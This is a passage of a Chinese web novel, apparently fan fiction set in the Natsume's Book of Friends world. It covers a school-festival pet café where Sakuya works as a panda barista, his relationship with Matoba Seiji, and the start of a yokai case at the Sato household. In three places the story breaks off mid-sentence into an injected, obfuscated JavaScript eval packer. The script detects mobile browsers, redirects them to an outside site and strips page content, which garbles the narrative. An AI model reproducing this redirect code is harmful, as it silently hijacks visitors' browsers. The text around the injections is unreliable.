的场静司的目光一直停留在朔也的脸上,专注地将对方所有细微的表情都印刻在脑海中。 他之前还以为朔也是因为不愿铃木先生难过才明确地拒绝过继,没想到竟然是因为自己。 其实对于过继的事情,的场静司是赞成的,这倒不是因为其他利益相关的原因,毕竟朔也早已被打上了的场家的印记,就像七濑一样,即便不过继过来,也是的场一门不可动摇的核心成员。 赞成过继朔也,纯粹源于的场静司的私心,他想让朔也和自己显得更亲近一些,成为法理上的亲人,冠上的场的姓氏,就有着和血缘等同的效力,无论以后发生什么,都没有东西能斩断这样的联系。 虽然有着这样的念头,但如果朔也不愿意的话,的场静司很难坚持自己的想法。 更何况,朔也的理由实在是……的场静司都有些怀疑自己是不是无意中向某位神明许下过愿望,所以神明将朔也送到了他身边。 “静司先生,你有在听吗?”朔也怀疑地看着眼前似乎在走神的人。 “当然,朔也的每一句话,我都记住了哦。” 看着对方仍旧一副笑眯眯的模样,朔也几乎没了脾气,无奈地说道:“总之,我就是这样想的。” “嗯,我明白了。”的场静司点点头,微笑着承诺道:“朔也不愿意的话,的场家不会要求过继的。” 朔也愣了一下,得到了这样爽快的承诺,他反倒担心起来,“呃,这样可以吗?我是说,族内的长辈……” “首领的意志是不容违逆的。”的场静司很不在意地说道:“如果他们有意见的话,那就私底下去抱怨好了,不是一直都是如此吗?” 朔也想了想,突然也噗嗤一声笑了起来。 也是,即便是还没有成为首领的那会儿,静司先生也不是那种“听话”的晚辈呢。 “那么,朔也现在高兴了吗?”的场静司看着朔也温柔地问道。 “嗯!”朔也开心地点点头。 “我可是有点遗憾哦。”的场静司故作惆怅地说道。 “诶?” “仔细想一想,‘的场朔也’听上去很是不错呢。” “什么啊……”朔也无语地纠结了一会儿,还是坚定道:“我是不会改变主意的!” 的场静司轻笑起来,狠狠揉了揉朔也的头。 这一次,朔也嘴上抱怨着,却没有再拍开他的手。 * 的场家的车把夏目送回了来时的凉亭处。 夏目放松地走在回家的路上,一边回想着今天的事情。 走着走着,朔也那句没头没脑的话突然从他脑海里冒了出来。 「看来塔子阿姨真的很疼你哎,一定每天都有做你爱吃的东西吧?」 夏目细细品味了一会儿,突然定住。 “怎么了?”猫咪老师晃晃脑袋,看了看四周。 “猫咪老师,我……长胖了吗?”夏目摸了摸自己肚子,不太确定地问道。 “哈?” “长胖?!”猫咪老师一脸见鬼的表情,“你在说什么呢,豆芽菜!” 夏目又摸了摸提着礼盒的胳膊,更不确定了。 “走了,夏目,本大爷快饿死了!” 猫咪老师不再理睬他,撩起爪子跑得飞快。 夏目在对方怪里怪气念叨着的各色美味里放弃了思考。 算了,下次直接问朔也吧! 啊,他也饿了,今天婶婶会做什么好吃的呢? 哧溜~ 65.第六十五章 咖啡 * 其实高中生的生活真的很忙碌啊,除了上课、社团和补习之外,还有像学园祭、体育祭、音乐祭这样的活动。 朔也坐在热闹的教室里,撑着下巴,不着边际地想着。 “那就安排铃木同学来做我们的招牌咖啡师吧!” “嗯?” 朔也回过神,看向讲台上的班长。 “我赞同!”坐在朔也身后的飒真应和道:“朔也的手艺可是很不错的哦!” “哈?” 朔也回头瞪向飒真。 飒真双手合十,小声说道:“拜托了,做萌宠咖啡馆可是我的提议。” 这次学园祭飒真提议做一个公益性的萌宠咖啡馆,得到的收益用于流浪猫狗的助养,大家都觉得这个主意不错,所以很快就通过了。 而“萌宠”元素当然不能用活的动物呈现,只能体现在咖啡店的装饰和咖啡师还有侍应生的穿着上。 比如被选为招牌咖啡师的朔也,估计就得打扮成某种小动物的样子。 朔也暗暗叹了口气,反正这种事他反驳也没有用,每到学园祭这类活动,他的脸就会成为班级的公共资源被拿去尽情使用。 话说静司先生会有这种烦恼吗? 当晚上朔也这么问起来的时候,的场静司顿时笑了起来。 “只是利用脸而已,感觉是所有事情里最轻松的了。” “唔……” 朔也觉得这样的态度确实是静司先生的风格。 “所以这次朔也需要做什么呢?”的场静司很感兴趣地问道。 “嗯……咖啡师。”朔也合理地隐瞒了咖啡师的前缀。 “这样啊。”的场静司盯着他,弯起嘴角,“我会去捧场的。” “诶?”朔也瞪大眼睛,“静司先生最近不忙吗?” 的场静司微笑着,更确定地说道:“这么重要的事,我可不会缺席哦。” 朔也立刻反应过来,对方又在逗他,索性不吭声了。 至于的场静司,他准备把好久没用的相机翻出来看看。 其实他一直觉得朔也在的场家的照片太少了些,而且大多都是在新年或其他重要场合拍摄的,这样的照片都非常正式,少了点年轻人应有的鲜活。 在确定不会正式将朔也过继为的场家的养子之后,的场静司对这些细节突然更在意起来,照片也好、其他东西也好,他想记录下更多和朔也有关的痕迹,以此来弥补血缘无法抵达的那部分。 * 朔也看着眼前的衣服,深深叹了口气。 “我宁愿和侍应生一样穿玩偶服。” 正在套小狗玩偶服的飒真不解地回应道:“但咖啡师像我们这么穿就没法做咖啡了啊。” 朔也拿起衣服,有些头疼,抱怨道:“那也不用这么显眼吧。” 被他拿在手里的,是一套穿上后几乎可以直接去参加什么浮夸晚会的西式礼服,白色翼领衬衣、黑色蝴蝶领结、灰色马甲、黑色裤子和咖啡师围裙,还有一些袖扣、手帕之类的配饰…… 总之,看得朔也眼花缭乱的同时,又倍感困惑。 “这和萌宠完全没关系吧?和你们站在一起真的不会格格不入吗?” “啊?有关系啊!你不是扮演的熊猫咖啡师么?”飒真的声音从小狗玩偶服里传出来。 “哈?” 朔也愣住,仔细看了看眼前一堆东西,终于发现了些许不同。 在那堆配饰里藏着一个熊猫耳发箍,甚至于…… “为什么裤子上还被特意缝了一个尾巴?!” 一个黑色的圆溜溜毛茸茸的尾巴,因为和裤子一个颜色,他刚刚都没看见。 朔也被惊得头皮发麻。 “飒真,你不觉得这样的组合看上去很羞耻吗?!” “怎么可能?你穿上保证超帅的!” 飒真从玩偶服里钻出脑袋,好奇地看着朔也,“你到底在纠结什么啊?男生们都很嫉妒哦,这可是班长她们认真挑选的搭配!” 朔也心很累,这种衣服怎么看都是在拿他当招牌花瓶用吧…… 算了,就像静司先生说得那样,利用脸已经是最轻松的事情了。 朔也很不情愿地换上衣服,又认命地戴上熊猫耳发箍,然后在飒真震惊的目光里露出名取先生那样的营业微笑。 “这位先生,请问想喝什么咖啡呢?” 飒真瞪大眼睛,咬了咬牙,不甘心地赞美道:“可恶!你这家伙,帅气得过头了啊!” “呵,谢谢夸奖,我这样可是托了你这家伙的福呢!”朔也同样咬牙切齿地回应道。 不管两人如何较劲,门面担当熊猫咖啡师终于还是开启了营业。 朔也不过是在萌宠咖啡馆门口站了一小会儿,客人们就如潮水般涌进了店里,不过这也让朔也从“人形招牌”的任务里解脱,开始专心投入到咖啡师的工作里。 做咖啡对朔也来说不是什么复杂的事,更何况他可是在的场家的厨房里练习了好几天,除了的场静司觉得不够甜以外,其他品尝过的人都觉得很不错。 令人赏心悦目的熊猫咖啡师心无旁骛地做着咖啡,等待的客人们则很有默契地参观着,拍照的喀嚓声时不时地响起,配上各种兴奋的窃窃私语,整个场面有种诡异的和谐。 夏目和朋友们走进萌宠咖啡馆的时候,见到的就是这样的场景。 “夏目,那个就是你朋友吧?”西村拽了拽夏目,嘀咕道:“也太帅了吧!这就是City Boy吗?” “喂,西村你小点声啊。”北本戳了戳西村的后背。 夏目看了几眼正利索地做着咖啡的熊猫耳少年,忍不住笑起来,“我们先找位置坐吧。” 一行四人被穿着可爱动物玩偶服的侍应生引到座位上,夏目刚坐下就对上了朔也看过来的视线,他小幅度地挥了挥手,笑着打了招呼。 朔也微微点点头,有点不好意思,他邀请夏目过来学园祭玩的时候可没料到自己会穿成现在这个样子。 “哇,不愧是私立学校,就连学园祭也比我们阔绰呢!” 几个人点完餐,西村一边打量着一边感叹道。 北本瞅了他一眼,冲夏目吐槽道:“他等会儿还愿意跟我们一起回去吗?” 夏目和田沼都笑了。 西村不满地说道:“这是我第一次参观私立学校,当然会吃惊啦!” “我们也都是啊!”北本求证似的看向另外两人。 田沼点点头,“我之前读的都是公立。” “啊,我也是。”夏目附和道。 “诶?夏目,那你和这个朋友是怎么认识的啊?”西村好奇道:“不是因为之前是同学吗?” “呃,我们是在修学旅行时候认识的。”如今回忆起当时冒冒失失的自己,夏目还会有点难为情,“我们的学校订了同一家温泉旅馆,就认识了……” 北本看着夏目,有些疑惑,“咦?所以夏目是会和陌生人交朋友的类型吗?”他记得对方刚转学过来时总给人一种难以接近的感觉。 “大概是同为帅哥,所以惺惺相惜吧!”西村带着艳羡,垂头丧气地抱怨道:“哎,太不公平了,为什么老天没有给我帅气的脸呢?” “这种抱怨听上去有点搞笑……” “喂,北本,你是不会懂的啦!” 在西村和北本斗嘴的时候,田沼看着夏目,试探着轻声问道:“是因为妖怪?” 夏目点了点头,小声说道:“朔也是除妖师。” “咦?!” 田沼没来得及继续发问,正被他们谈论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975106|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人就端着咖啡出现在桌边。 “竟然带这么多朋友来捧场,夏目,谢谢啦!”朔也把托盘放到桌上,冲几人开朗地笑道:“大家难得过来,咖啡我请哦。” “诶?这样可以吗?”西村诧异又惊喜,先夏目一步问道。 “当然,就当是招牌咖啡师给亲友的特殊福利吧,请不要客气!” “哇!谢谢、呃……”西村说到一半才发现自己还不知道对方的名字,不禁求助地看向夏目。 夏目反应过来,赶紧给两边做了介绍。 “我之前还有点担心夏目在学校的状况呢。”朔也笑着说道:“现在看到他已经交到了这么多朋友,实在太好了!” 夏目有些不好意思地看向另外几人,却没想到他们竟然都和自己一样,一副不好意思的拘谨模样。 这是怎么了? 夏目有些困惑,又觉得有些好笑,转而和朔也说起别的话题。 “朔也,你今天和真的咖啡师一样哎,好厉害!” “是吧!”习惯了一身堪比礼服的装扮后,朔也倒是比之前自在了许多,“我可是在家练习了很久,客人们都说味道不错呢。” 夏目笑着直点头,“我会好好品尝的!” “对了,丑猫呢?竟然没跟着你?” “啊,猫咪老师它……” “喵呜!” “哈?!猫咪老师,你从哪弄来的乌贼?” 朔也低头看向脚下,硕大的肥猫正叼着一只烤乌贼眯着眼瞪着他。 “啧!”看来学校的结界也没拦得住这家伙骗吃骗喝。 瞥了猫咪老师一眼,朔也看向夏目,“咖啡可没有丑猫的份,只能给它白水哦。” 夏目顿时笑出了声,他已经习惯一人一猫别扭的相处模式了。 咖啡馆外的客人早已排起了长队,吧台后面忙得很,朔也没多少空闲,于是看着几人抱歉地说道:“今天太忙了,没法好好招待大家,下次再一起玩吧!” 几人连连点头,西村甚至热情地邀请道:“我们学校的学园祭也要开始了,到时候铃木君也过来参观吧!” 朔也微笑颔首,“谢谢邀请,我一定会去的。” 几个人目送朔也回到吧台,而后又一同看向夏目。 “怎么了?”夏目一脸疑惑。 “呜~夏目,你朋友真的是超帅气啊!”西村咬着牙,一副很不甘心但又不得不承认的表情,“长得好看也就算了,还开朗又亲切,呜~老天真不公平……” 夏目“噗”地笑出声,好险没把嘴里的咖啡喷出来。 北本附和着感叹道:“之前还以为他和夏目是差不多类型的,结果交谈起来才发现很不一样。” “啊?差不多类型?”夏目有些诧异。 “唔,怎么说呢……”北本回想起之前在校门口见到铃木朔也的场景,“你们站在一起的话,似乎很自然地就和其他人区分开了。”有种说不上来的相似感。 田沼赞同地点点头,他在对方身上感觉到了和夏目类似的气息,是因为他们都能看见妖怪的缘故吗? 夏目想了想,非常认真地解释道:“大概是因为我们都很帅气吧。” “哈?”X3 夏目看着另外三人震惊的表情,忍俊不禁,“哈哈哈我开玩笑的!” “啊啊啊!夏目竟然开始自恋了!” “……不觉得有种漫画主角人设突然崩坏的可怕吗?” “但是,这么说好像也没错?” “可恶!竟然没法反驳你是怎么回事?!” “奇怪,夏目会开这种男高自恋玩笑,我竟然有种诡异的欣慰……” “Emmmm虽然……但是……” “喂!都说了是玩笑了!” “哈哈……” 66.第六十六章 前辈 * 萌宠咖啡馆真的很受欢迎,为了给排队的客人空出位置,夏目一行人喝完咖啡很快就离开了,学园祭还有许多其他节目,他们可以尽情逛一整天。 朔也在吧台后矜矜业业地工作了半晌,终于迎来了自己的休息时间。 “铃木君,辛苦了!请好好休息吧!” 班长的笑容格外灿烂,朔也不用猜就知道,一定是营业额特别可观。 收拾东西离开吧台前,朔也看了看店内的客人,又单独做了一杯咖啡带走。 校园里特别热闹,朔也知道自己现在的样子很显眼,特意选了平时就少有人走的路径,准备去可供休息的空教室歇一会儿。 “咔嚓。” 轻微的声响在安静的走廊里很难被忽略,朔也警惕地转头,顺着声音望过去。 “静司先生?!” “哦呀,被发现了。”的场静司放下手里的相机,笑眯眯地说道:“很可爱哦~朔也。” “诶?为什么会有相机?” 朔也从没发现过的场静司有什么摄影爱好,突然看到他拿着相机,尤其是对方今天还很少见地作着休闲打扮,顿时觉得很有新鲜感。 “啊,总觉得朔也的照片太少了,很可惜呢,所以想多拍一些。” 朔也心里觉得有点怪怪的,他上次听到类似的话,可是从爸爸的嘴里说出来的。啊,话说爸爸和哥哥下午也会来,估计也会带着相机狂拍吧…… “所以朔也今天的身份是熊猫咖啡师吗?”的场静司打量了朔也一番,笑道:“就连尾巴也很精致呢。” 朔也后知后觉地想起裤子后面被特意缝上的东西,立刻涨红了脸。 “请忽略这个!尾巴禁止拍照!!!” 啊,晚了,他之前可是拍了不少。心里这么想着,的场静司却配合地放下了相机,然后手里就被塞了一杯咖啡。 “店里人太多,所以就把静司先生这份单独带出来了。”朔也挠了挠脸颊,不太情愿地说道:“加了双份糖。” 的场静司弯起嘴角,“谢谢熊猫咖啡师~” “现在可不是营业时间……”朔也嘟囔着摘下熊猫耳发箍,奇怪地问道:“静司先生怎么知道我会在这里?” 的场静司闲适地喝着咖啡,“朔也好像忘了一件事。” “什么?” “说起来,我可是你的‘前辈’呢。” “啊!” 朔也猛地反应过来,他一直和对方读的是同一所学校,这人对学校的熟悉程度没准比他还高一些呢。 “是哦。”朔也思忖道:“从小学到高中,静司先生都是我的‘学长’,唔,那就是……静司前辈?” 正喝着咖啡的的场静司愣了一下。 他对别人如何称呼他并不怎么在意,在校时也不觉得“前辈”这样的称呼有什么特别,但听到朔也叫他前辈时,他突然有点明白为什么有些男同学在被低年级称作前辈时会那么兴奋了。 那是一种非常直接的“从属”感,瞬间在两个人之间形成了一种联系,前辈承担起保护对方的责任以及支配对方的权力,而后辈的存在则成了前辈“被需要”的证明。 如果将这种从属关系代入他和朔也之间,和两人的实际关系相比,自然是太浅薄了,但其中为“前辈”赋予的权限却莫名引人遐想…… “唔,好像还是‘静司先生’更好……”朔也对比了一下,突然想起了什么,“啊,静司先生,可以帮我拍张照片吗?” “嗯?” 几分钟之后,朔也站在一面展示墙之前,狡黠地笑道:“我要和这位‘静司前辈’合影!” 这是学校用来展示毕业生功绩的地方,的场静司作为某集团现任掌权者榜上有名,但不知道是不是他作为的场一门首领的公开照片太少,展示墙上用的还是他高中毕业时的照片。 的场静司似笑非笑,“比起已在现场的我,竟然更愿意和照片合影吗?” “这不一样啊!”朔也振振有词,“这可是和我正处于同一人生阶段的静司先生!” 照片上的的场静司穿着高中制服,看着镜头的眼里没有任何情绪,却给人一种正审视着什么的感觉。 还真是傲慢呢,那时候的自己。 的场静司瞥了照片一眼,转而看向已经摆好姿势的朔也,少年特意把手掌放在了展示墙的照片下面,就像正托举着照片上的人,脸上则是正炫耀着什么的得意表情。 的场静司举起相机,透过镜头看向朔也的笑容,以及旁边那张自己面无表情的照片,突然有种微妙的不爽。 他放下相机,提醒道:“熊猫耳朵呢?” “啊?得戴这个吗?”朔也有些不乐意。 “更有学园祭的氛围哟~” 看着朔也重新戴上熊猫耳发箍,的场静司微笑着按下快门。 嗯,不管怎么说,过分可爱的朔也至少让旁边那个自己显得没那么讨厌了。 * “莉子,怎么样?心情好些了吗?”女孩看向身旁的同伴,关心地问道。 佐藤莉子努力笑了笑,“谢谢优酱,我好多了。” 优酱有些怀疑地打量着同伴的表情,最终没有戳破她,而是宽慰道:“你和鹤子姐姐感情那么好,她要结婚你会觉得不安很正常啊,等过段时间你大概就习惯了。” 佐藤莉子深吸了一口气,点了点头,朋友知道她最近很难受,特意叫她一起出来玩,她不想做扫兴的那个人。 “优酱,不是要去你朋友的班级吗?他们做的什么活动呢?” “啊,好像是萌宠咖啡馆,据说咖啡师特别可爱呢!她让我一定得来看看,还说什么不看就是人生损失哈哈,也太夸张了……” 两个女孩没花太多功夫就找到了咖啡馆,毕竟门口排队的人实在太多,让人不得不注意。 在排队的间隙,优酱跑到店门口往里面张望了一番,再回来时眼睛里已经满是惊喜和兴奋。 “莉子!她果然没骗我,咖啡师真的超超超可爱!!!” 优酱高昂的情绪感染了佐藤莉子,她暂时摆脱那些烦心事,好奇地问道:“真的吗?是什么样的?” “你看!我偷偷拍了张照片!” 佐藤莉子看着照片里的少年,在被惊艳的同时却莫名觉得对方给自己一种熟悉感。 她拿过优酱的手机,又仔细看了一会儿,惊讶地瞪大眼睛,“铃木君?” “诶?你认识他?!” “呃,不确定……”但真的很像她曾经在聚会上见过的那个少年,那位的场家的养子。 “等等,我问下朋友!” 优酱发了几条信息,没过一会儿就收到了回复。 “啊,他叫铃木朔也。”优酱兴奋地抬头,“应该就是莉子认识的人吧?” 佐藤莉子迟疑地点点头。 说是认识,其实仅有一面之缘,虽然交换了联系方式,但她发送的信息并没有得到对方的回应,在那次聚会之后,两人就没有任何交集了。 当时心仪的场先生的姐姐还愤愤不平地抱怨过,说的场家的男人都是不解风情的石头美人。 但佐藤莉子一直怀疑是那天的自己过于冒失,说了什么让铃木君不快的话,尤其是和“妖怪”有关的那些…… “既然莉子认识他的话,等会儿可以帮我要张合影吗?” “诶?可是我们不太熟……” “应该没关系吧!我感觉他很亲切哎,如果是认识的人应该会更好说话吧!” “呃……” 铃木君很亲切吗? 佐藤莉子回想起那次交集,少年确实彬彬有礼、很有风度,但同时也给人一种疏离感,那种距离不像是对方有意为之,似乎是天然就存在的。 姐姐将这归于的场家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978902|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古板传统,但佐藤莉子却听说那个传承已久的家族经营着非人之物相关的神秘事务,更有传言说的场家的人能看见普通人看不见的东西。 如果他们拥有这种能力的话,和普通人疏远似乎是理所当然的。 所以,那些传言到底有几分可信呢? 佐藤莉子曾经非常好奇,但更多的是抱着猎奇的心理,直到最近…… 她想起家里近期发生的怪事,突然想到,她是不是可以问问铃木君呢? * 站在吧台前的女孩欲言又止,显得很是忐忑。 朔也看了她几眼,微笑道:“佐藤小姐,好久不见。” “呃,好久不见,铃木君。” 佐藤莉子没想到对方这么快就认出了她,不禁松了口气。 “铃木君,你等会儿有时间吗?”佐藤莉子恳求道:“有件事我想请你帮忙……” 朔也有些诧异,但看着对方的神情,他还是答应了。 轮到了休息时间,朔也带着佐藤莉子走到僻静的走廊处。 “铃木君,的场家可以处理一些比较特殊的事,是吗?” 朔也点点头,问道:“怎么了?是你身边发生了什么奇怪的事吗?” “是我家里!我总觉得最近有些奇怪,但除了我似乎没人发现……” 佐藤莉子像是终于找到了主心骨,迫不及待地讲述起来。 佐藤家的怪事是从一个月前开始的,先是姐姐佐藤鹤子莫名其妙地丢失了不少东西、甚至包括昂贵的珠宝,接着鹤子开始频繁地做起了噩梦,因为睡眠不佳她有次开车差点出了意外。 而正是在这件事之后,事情变得更加怪异,佐藤莉子发现姐姐整个人都变得奇怪起来。 “有次我半夜醒来,发现姐姐独自站在院子里,我觉得很奇怪,叫了她好几声,但她没有理睬我,我下楼去院子里找她,却发现人不见了。” 想起当时的情景,佐藤莉子不禁打了个寒颤,“然后我去姐姐的房间找她,她却抱怨我吵醒了她,还说她一直在睡觉,根本没有去外面。” 朔也想了想,问道:“是梦游吗?” “我不知道……”佐藤莉子摇了摇头,“但前几天发生了一件更可怕的事。” 同样是一个深夜,佐藤莉子想去餐厅喝水,却发现姐姐待在黑暗的餐厅里,举止诡异。 “我开灯之后,发现她背对着我蹲在餐厅的角落,但她像没有察觉到我一样,依然蹲在角落咀嚼着什么。” “当时我吓坏了,不敢发出声音,过了一会儿。”佐藤莉子的声音颤抖起来,“姐姐站起身转头看向我,露出诡异的微笑,嘴角还带着一丝血迹……” 朔也若有所思,“然后呢?” “然后她就回房间去了,第二天我问姐姐,她自己一点印象都没有,还说肯定是我做了噩梦。” 佐藤莉子紧紧地皱着眉,“但保姆阿姨告诉我,冰箱里存放的牛肉少了许多,我怀疑是被那晚的姐姐吃掉了……” “不确定吗?” “嗯,因为姐姐坚持说那些少了的肉是被她拿去喂野猫了。” “家里还有其他异常吗?” 佐藤莉子摇摇头,“怪事都和姐姐有关,但她自己一点感觉都没有,爸爸妈妈也没发现有什么不同,他们都以为我是被姐姐之前差点出意外的事情吓到了,所以才做噩梦。” “但我确信,那些都是我亲眼见到的事情!” 朔也思考了一会儿,佐藤莉子讲述的事情听上去很怪异,确实很像是妖怪作祟,但要说是她的姐姐因为某些疾病导致行为异常也说得通。 “佐藤小姐,我能去你家看看吗?” “当然!”佐藤莉子赶紧点头,提议道:“今天就去可以吗?” 看得出来,佐藤莉子对家里的怪事很是恐惧,一定想尽快解决。 于是朔也应了下来。 67.第六十七章 佐藤 * 佐藤家是一幢祖上传下来的宅子,但明显修整过,融入了许多时下流行的西式住宅元素,前院也改为了西式风格的草坪花园。 大宅内进行过现代化装修,看起来很时尚,尤其是客厅里的一面装饰墙,上面挂满了各种不同色彩的布料,非常特别。 见朔也对装饰墙感兴趣,佐藤莉子介绍道:“我姐姐是服装设计师,她很喜欢收集古着和服面料。” 看着一块块被珍藏在相框里的美丽织物,佐藤莉子不禁感叹道:“这些都是姐姐的心爱之物,就算姐姐离开了这个家,只要它们还在,就好像姐姐还住在家里一样。” “离开家?”朔也有些好奇。 “啊,我姐姐已经订婚了,再过几个月就会举办婚礼。”佐藤莉子解释着,语气很是不舍。 朔也点点头,他记得佐藤莉子的姐姐之前参加过相亲聚会,据说很喜欢静司先生,没想到这么快就要结婚了。 朔也跟着佐藤莉子在大宅里逛了一圈,只是佐藤鹤子不在家,没有主人的允许,他也不好去卧室里查看。 “佐藤小姐,带我去院子里看看吧。” “啊,好的,铃木君叫我莉子就好。”佐藤莉子笑道:“我们家可是有两位佐藤小姐呢。” 朔也跟着笑了,“那也请叫我朔也吧。” 他随和的态度让佐藤莉子更放松了一些,于是主动提起上次见面的事情,言语间带着歉意。 “上次实在抱歉,我太好奇了,说了许多失礼的话。” “没关系。”朔也解释道:“妖怪之类的非人之物非常危险,所以我们一般不对他人提及这些。” 佐藤莉子回想起姐姐的那些可怕的“异常”,心有余悸地点点头,“我明白了。” 两人在院子里看了一圈,尤其是上次佐藤莉子深夜看见姐姐所处的位置。 朔也蹲下身,盯着脚下的草坪看了一会儿。 “怎么了?”佐藤莉子有些紧张地问道。 朔也正准备回答,宅院的大门突然打开,一辆车驶了进来。 “啊,我姐姐回来了!” 朔也站起身,看见车停下,一个年轻男人先下了车。 “这位是?” “是姐姐的未婚夫渡边先生。” 渡边先生迅速走到车的另一边,很有绅士风度地打开车门,呵护着一位年轻女士也下了车,那位女士应该就是佐藤鹤子,只是她看上去状态不太好。 朔也看向佐藤莉子,果然,莉子很快发现了不对劲,“抱歉,朔也,我去看看姐姐!” “嗯,我再查看下院子。” 莉子离开后,朔也再次看向脚下的草坪,这片草坪上,有好几处都残留着明显的妖气。 实际上,不止草坪,朔也在刚进佐藤家时就发现了浓郁的妖气。 这个家,已经被某只妖怪侵占了。 * “你是莉子的男友?” 朔也回过头,看向笑容戏谑的年轻男人。 “你好,渡边先生,我是莉子的朋友,铃木。” “哈哈,你不用这么小心,我可不是那种会挑剔妹妹男友的人。”渡边调侃着,掏出烟示意了一下。 朔也微微蹙眉,“我不抽烟。” 渡边不在意地笑了笑,自己点燃烟抽了一口。 朔也打量了他几眼,觉得有点奇怪,这个人此刻表现出来的样子和刚刚那个扶佐藤鹤子下车的人十分不同。 而且佐藤小姐明明看上去有些不适,他作为未婚夫没有陪伴照顾也就罢了,竟然一脸轻松地到院子里抽烟,实在不合常理。 “佐藤小姐还好吗?”朔也试探着问道。 “啊,你刚刚看见了?”渡边吐出一个烟圈,说道:“她只是心情不太好,没什么大碍。” 朔也想了想还是问道:“是发生了什么事吗?” 渡边看了他一眼,促狭地笑道:“这么关心莉子的姐姐,还说不是莉子的男友?” 朔也自动过滤掉无效信息,继续问道:“你不担心么?” 渡边抽了口烟,微微俯身和看着他的朔也对视几秒,突然冲朔也吐出烟圈,在少年皱眉撇开脸的同时笑出声来。 “可爱的小朋友,不要太好奇大人的事情哟~” 朔也面无表情地盯着男人看了一会儿,最终还是从兜里掏出一个东西递了过去。 “嗯?”渡边怔愣几秒,一头雾水地接过来,“御守?给我这个干什么?” “不想死的话,最近就带着它。” 说完,朔也不再理睬一脸困惑的男人,而是向正冲他招手的佐藤莉子走了过去。 “我和姐姐说了你的事情,她想见见你。” 朔也点点头,问道:“佐藤小姐还好吗?” “还好,只是受了惊吓……”佐藤莉子犹豫了一下,担心地说道:“姐姐她似乎遇到了很可怕的事,但她不肯告诉我。” “可怕的事?” “嗯,好像是工作室那边的事情,我姐姐开办了一家婚纱设计工作室……” “莉子,这就是的场家的小少爷?” 莉子的话被人打断,朔也抬头,正对上佐藤鹤子打量的眼神,他微微颔首,“佐藤小姐,我是铃木朔也。” 佐藤鹤子哼了一声,“还真是和的场先生一样无趣。” “姐姐!”莉子埋怨地看了佐藤鹤子一眼,又尴尬地看向朔也,“抱歉,我姐姐她……” 莉子实在不知道怎么找补,因为被心仪对象拒绝就迁怒人家弟弟这种理由实在很难说出口。 朔也没有在意,他冲莉子笑了笑,看向脸色苍白、眼睛有些红肿的佐藤鹤子。 “佐藤小姐,我能去你的房间看看吗?” 虽然佐藤鹤子嘴上不太客气,但当朔也提出这样的要求的时候,她还是同意了。 佐藤鹤子的卧室是一个法式风格的套间,除了衣帽间、洗漱间和卧室外,还有一个小客厅,但小客厅显然已被主人当成了工作室,茶几上散落着设计手稿,沙发上搭着一些不同的面料,窗边还放了一个人体模型,正展示着一件尚未完成的礼服裙。 朔也在房间里看了一圈,最后走到人体模型前站定,仔细打量起长裙。 莉子解释道:“这是姐姐为自己设计的婚宴礼服。”她小心翼翼地看了看朔也,低声问道:“有什么问题么?” 朔也眨了眨眼,看向一旁坐在沙发上不知道想着什么的佐藤鹤子。 “佐藤小姐是遇到什么麻烦了么?” 佐藤鹤子回过神,皱着眉有些疲惫的问道:“你说的麻烦是指什么?” 不等朔也回答,她又继续说道:“我不知道莉子和你说了什么,她最近一直紧张兮兮的,但我确定自己一切正常,我允许你进来也是为了打消她的胡思乱想。” “姐姐!你明明有……” “好了,莉子。”佐藤鹤子打断妹妹的话,下了逐客令,“没什么事情的话你们就出去吧,我很累,想休息一会儿。” 面对态度强硬的姐姐,佐藤莉子没有办法,只能和朔也一起出了房间。 “抱歉,我姐姐太固执了。”莉子闷闷地说道。 朔也也是第一次碰到这种情况,当事人不配合的话,事情就会变得格外麻烦,但以他发现的东西来看,这件事如果就这样放任不管,大概会发生很可怕的后果。 “现在该怎么办呢?”莉子忧心忡忡地说着,很是无助。 朔也想了想,从包里拿出两个御守递给她,“这个你先拿着,其中一个给佐藤小姐,让她随身携带。” 接着他拿出纸笔,写了一个联系方式给莉子。 “如果佐藤小姐改变主意的话,可以让她联系这位七濑女士。” 佐藤鹤子明显不信任他这个“小孩子”,让她直接联系七濑阿姨更合适。 佐藤莉子看着手里的东西,反而更加不安起来,“呃,那你……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983079|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“别担心,就算你姐姐不愿意,我也会想办法尽快处理的。” 朔也认真的承诺让莉子稍觉安心了些,“那就拜托你了,朔也。” * 出了佐藤家,朔也刚走了一小段路,就有一辆车跟上了他。 “小朋友,上车吧,捎你一程。” 朔也看向开车的人,正是佐藤鹤子的未婚夫渡边先生。 渡边看着少年沉默地上车,不禁玩笑道:“现在的boy都像你这么酷吗?” 朔也看了看他,问道:“渡边先生,你和佐藤小姐交往多久了?” “看来你真的对佐藤家很好奇。”渡边笑了笑,随意地说道:“我和鹤子是半年前认识的。” 